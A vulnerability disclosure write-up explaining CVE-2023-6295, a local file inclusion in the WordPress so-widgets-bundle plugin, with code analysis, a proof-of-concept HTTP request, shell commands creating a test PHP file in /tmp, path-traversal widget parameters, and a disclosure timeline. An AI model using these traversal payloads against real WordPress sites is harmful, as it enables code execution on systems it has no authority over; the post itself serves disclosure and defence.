CVE-2023-6295: so-widgets-bundle < 1.51.0 - Admin+ Local File Inclusion

In this blog post I'll describe the details of CVE-2023-6295, a local file inclusion in WordPress' so-widgets-bundle plugin.

First of all, this vulnerability is only exploitable in multi-site WordPress installations as an subsite administrator.

The API function so_widgets_bundle_manage takes the parameter widget and eventually passes the value to include_once. However, it's exploitability requires the existence of specific folders and files.

Theory

Let's track down the vulnerability!

In so-widgets-bundle/so-widgets-bundle.php the constructor defines the API function: add_action( 'wp_ajax_so_widgets_bundle_manage', array( $this, 'admin_ajax_manage_handler' ) );. The function admin_ajax_manage_handler looks like this:

if ( ! wp_verify_nonce( $_GET['_wpnonce'], 'manage_so_widget' ) ) {
        wp_die( __( 'Invalid request.', 'so-widgets-bundle' ), 403 );
}

if ( ! current_user_can( apply_filters( 'siteorigin_widgets_admin_menu_capability', 'manage_options' ) ) ) {
        wp_die( __( 'Insufficient permissions.', 'so-widgets-bundle' ), 403 );
}

if ( empty( $_POST['widget'] ) ) {
        wp_die( __( 'Invalid post.', 'so-widgets-bundle' ), 400 );
}

if ( ! empty( $_POST['active'] ) ) {
        $this->activate_widget( $_POST['widget'] );
} else {
        $this->deactivate_widget( $_POST['widget'] );
}

It first correctly verifies the nonce, checks for the manage_options permission and that the parameter widget is not empty. Then it passes the value of it to either $this->activate_widget or $this->deactivate_widget depending on the active parameter.

Both functions use similar functionality to activate or deactivate widgets:

public function activate_widget( $widget_id, $include = true ) {
    $exists = false;
    $widget_folders = $this->get_widget_folders();

    foreach ( $widget_folders as $folder ) {
        if ( ! file_exists( $folder . $widget_id . '/' . $widget_id . '.php' ) ) {
            continue;
        }
        $exists = true;
    }

    if ( ! $exists ) {
        return false;
    }
[...]
    // If we don't want to include the widget files, then our job here is done.
    if ( ! $include ) {
        return;
    }
[...]

In the first part of the function, the for-loop iterates over all widget folders and checks for the existance of the path $folder . $widget_id . '/' . $widget_id . '.php'. The attacker controls the $widget_id (which equals the widget parameter).

A few lines later there is a check for $include parameter, but this one is luckily set to $include = true in the function's arguments.

Again, a few lines later the magic happens:

foreach ( $widget_folders as $folder ) {
    if ( ! file_exists($folder . $widget_id . '/' . $widget_id . '.php' ) ) {
        continue;
    }
    include_once $folder . $widget_id . '/' . $widget_id . '.php';

    global $wp_widget_factory;
    if ( has_action('widgets_init' ) || ! empty( $wp_widget_factory ) ) {
        SiteOrigin_Widgets_Widget_Manager::single()->widgets_init();
    }
}

This loop is similar to the previous one, except that upon an existing file, it is passed to include_once, which will interpret contained PHP code.

The only interesting thing, which is also a drawback for exploitation, is that the file path consists of $widget_id . '/' . $widget_id . '.php'. Thus, a path traversal payload, such as ../../test will be duplicated: ../../test/../../test.php.

Unfortunately, file_exists does not resolve the file path, so just using enough '../../' does not work. Except, when there is a PHP file with a equally named directory (except the .php suffix) next to it, such as in wp-admin/:

root@9255d920a415:/var/www/html# ls -l wp-admin/ | grep ' network*'
drwxr-xr-x 2 www-data www-data  4096 Nov  9 00:45 network
-rw-r--r-- 1 www-data www-data  5482 Feb 23  2023 network.php

Proof of Concept

In order to exploit this issue, first create a multi-site WordPress instance and create a new subsite with a separate non-superadmin user. Then install the vulnerable version of the plugin, i.e., using wp-cli.phar plugin install so-widgets-bundle --version=1.50.1.

Now login as the subsite administrator and navigate to the SiteOrigin menue and click activate on any widget. This should trigger a POST request with a valid nonce to the WordPress backend:

POST /site2/wp-admin/admin-ajax.php?action=so_widgets_bundle_manage&_wpnonce=f29efd46d6 HTTP/1.1
Host: localhost
Content-Length: 25
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: [Cookies]
Connection: close

widget=accordion&active=0

For testing purposes, we can also create a special tmp.php in /tmp with our exploit code:

mkdir /tmp/tmp
echo "<?php echo 'foohacked'; ?>" > /tmp/tmp.php

Chaning the widget parameter to widget=../../../../../../../../../../../../../../../../../tmp/tmp will then execute the /tmp/tmp.php file as seen below:

To load the network.php from the wp-admin/ directory, the attacker could use the following widget parameter: ../../../../../../../../../../../../../proc/self/cwd/network, but unfortunately this results in a 5xx error.

Overall, for a successful exploit, this would require the attacker to place their payload-PHP file next to a special directory. Luckily there are many directories already present in a WordPress directory, and the wp-content/uploads/ directory will create new directories for file uploads, i.e. uploads/2023/12/11/. But, without additional plugins, there is no way to move uploaded files next to an equally named directory.

Timeline

  • 2023.06.28 - Initial discovery
  • 2023.07.03 - Report to plugin developers
  • 2023.07.15 - New version released
  • 2023.11.22 - Report to WPScan to assign CVE-ID
  • 2023.11.24 - Vulnerability acknowledged and CVE assigned
  • 2023.12.11 - Public disclosure